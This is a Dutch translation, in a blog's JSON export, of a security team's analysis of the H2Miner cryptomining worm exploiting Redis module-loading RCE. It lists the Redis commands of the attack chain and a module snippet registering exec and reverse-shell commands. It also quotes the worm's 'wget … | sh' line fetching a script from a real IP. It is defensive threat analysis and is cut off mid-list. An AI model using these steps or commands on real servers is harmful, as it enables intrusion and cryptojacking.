{"id":55714,"date":"2020-01-27T00:00:00","date_gmt":"2020-01-26T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce"},"modified":"2020-02-18T14:03:51","modified_gmt":"2020-02-18T11:03:51","slug":"obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","status":"publish","type":"post","link":"https:\/\/prohoster.info\/nl\/blog\/administrirovanie\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","title":{"rendered":"Een nieuwe uitbraak van H2Miner-wormen is ontdekt, die Redis RCE exploiteren.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

E\u00e9n dag geleden werd een van de servers van mijn project aangevallen door een soortgelijke worm. In mijn zoektocht naar het antwoord op de vraag \"wat was dit eigenlijk?\" vond ik een geweldig artikel van het Alibaba Cloud Security-team. Aangezien ik dit artikel niet op Habr kon vinden, besloot ik het speciaal voor jullie te vertalen <3\n<\/p><\/blockquote>\n

Inleiding<\/h2>\n

\nOnlangs ontdekte het beveiligingsteam van Alibaba Cloud een plotselinge uitbraak van H2Miner. Dit type kwaadaardige worm maakt gebruik van ongeoorloofde toegang of zwakke wachtwoorden voor Redis als toegangspoorten naar uw systemen, waarna het zijn eigen kwaadaardige module synchroniseert met de slave via master-slave synchronisatie en vervolgens deze kwaadaardige module op de aangevallen machine laadt en kwaadaardige instructies uitvoert.<\/p>\n

In het verleden gebeurde de aanvallen op uw systemen meestal met behulp van een methode die geplande taken of SSH-sleutels omvatte, die op uw machine werden geregistreerd nadat de aanvaller toegang had gekregen tot Redis. Gelukkig kon deze methode niet vaak worden gebruikt vanwege problemen met machtigingsbeheer of omdat er verschillende versies van het systeem zijn. Desondanks kan deze methode voor het laden van de kwaadaardige module rechtstreeks de commando's van de aanvaller uitvoeren of toegang tot de shell verkrijgen, wat gevaarlijk is voor uw systeem.<\/p>\n

Vanwege het grote aantal servers<\/a> Redis-servers die op internet zijn geplaatst (bijna 1 miljoen), raadt het beveiligingsteam van Alibaba Cloud als een vriendelijke herinnering aan de gebruikers aan om geen toegang tot Redis via het netwerk te bieden en regelmatig de betrouwbaarheid van hun wachtwoorden te controleren, evenals of ze vatbaar zijn voor brute force-aanvallen.<\/p>\n

H2Miner<\/h2>\n

\nH2Miner is een mining-botnet voor systemen op basis van Linux, dat op verschillende manieren in uw systeem kan binnendringen, inclusief het ontbreken van autorisatie in Hadoop yarn, Docker, en de kwetsbaarheid voor remote command execution (RCE) in Redis. Het botnet werkt door het uploaden van kwaadaardige scripts en malware die uw data mijnen, de aanval horizontaal uitbreiden en het onderhouden van commando- en controle (C&C) communicatie.
\n<\/a><\/noindex><\/p>\n

Redis RCE<\/h2>\n

\nDe kennis over dit onderwerp werd gedeeld door Pavel Toporkov op ZeroNights 2018. Na versie 4.0 ondersteunt Redis de functie voor het laden van externe modules, waarmee gebruikers .so-bestanden, gecompileerd met C, in Redis kunnen laden om specifieke Redis-commando\u2019s uit te voeren. Deze functie is nuttig, maar bevat een kwetsbaarheid waarbij bestanden in master-slave modus kunnen worden gesynchroniseerd met de slave via de fullresync modus. Dit kan door een aanvaller worden gebruikt om kwaadaardige .so-bestanden te verzenden. Na de overdracht laden de aanvallers de module op de aangevallen Redis-instantie en voeren ze elk commando uit.<\/p>\n

Analyse van de kwaadaardige worm<\/h2>\n

\nOnlangs ontdekte het beveiligingsteam van Alibaba Cloud dat de groep van kwaadaardige miners H2Miner plotseling sterk was toegenomen. Volgens de analyse verloopt het algemene proces van de aanval als volgt:<\/p>\n

\"Een
\n
\nH2Miner maakt gebruik van RCE Redis voor een volledige aanval. In eerste instantie vallen aanvallers onveilige Redis-servers of servers met zwakke wachtwoorden aan.<\/p>\n

Vervolgens gebruiken ze het commando config set dbfilename red2.so<\/code> om de bestandsnaam te wijzigen. Daarna voeren de aanvallers het commando uit slaveof<\/code> om het hostadres van de master-slave replicatie in te stellen. <\/p>\n

Wanneer de aangevallen Redis-instantie een master-slave verbinding tot stand brengt met de kwaadaardige Redis, die toebehoort aan de aanvaller, verzendt de aanvaller de ge\u00efnfecteerde module met behulp van het commando fullresync voor het synchroniseren van bestanden. Vervolgens zal het bestand red2.so op de aangevallen machine worden geladen. Daarna gebruiken de aanvallers de uploadmodule .\\\/red2.so om dit .so-bestand te laden. De module kan de commando's van de aanvaller uitvoeren of een reverse shell (backdoor) initi\u00ebren voor toegang tot de aangevallen machine.<\/p>\n

if (RedisModule_CreateCommand(ctx, \"system.exec\",\n        DoCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n      if (RedisModule_CreateCommand(ctx, \"system.rev\",\n        RevShellCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n<\/code><\/pre>\n
\nNa het uitvoeren van een kwaadaardig commando, zoals \/ bin \/ sh -c wget -q -O-http:\/\/195.3.146.118\/unk.sh | sh> \/ dev \/ null 2> & 1<\/code>, zal de aanvaller de bestandsnaam van de back-up wijzigen en de systeemmodule uitladen om sporen uit te wissen. Niettemin blijft het bestand red2.so op de aangevallen machine aanwezig. Het wordt aanbevolen dat gebruikers opletten voor zulke verdachte bestanden in de map van hun Redis-instantie.<\/p>\n
Naast het be\u00ebindigen van enkele kwaadaardige processen om middelen te stelen, volgde de aanvaller een kwaadaardig script door kwaadaardige bestanden in binaire vorm te downloaden en uit te voeren om 142.44.191.122\/kinsing<\/a><\/noindex>. Dit betekent dat de procesnaam of de naam van de map die kinsing bevat op de host kan aangeven dat deze machine met dit virus is ge\u00efnfecteerd.<\/p>\n
Volgens de resultaten van de reverse engineering voert de malware voornamelijk de volgende functies uit:<\/p>\n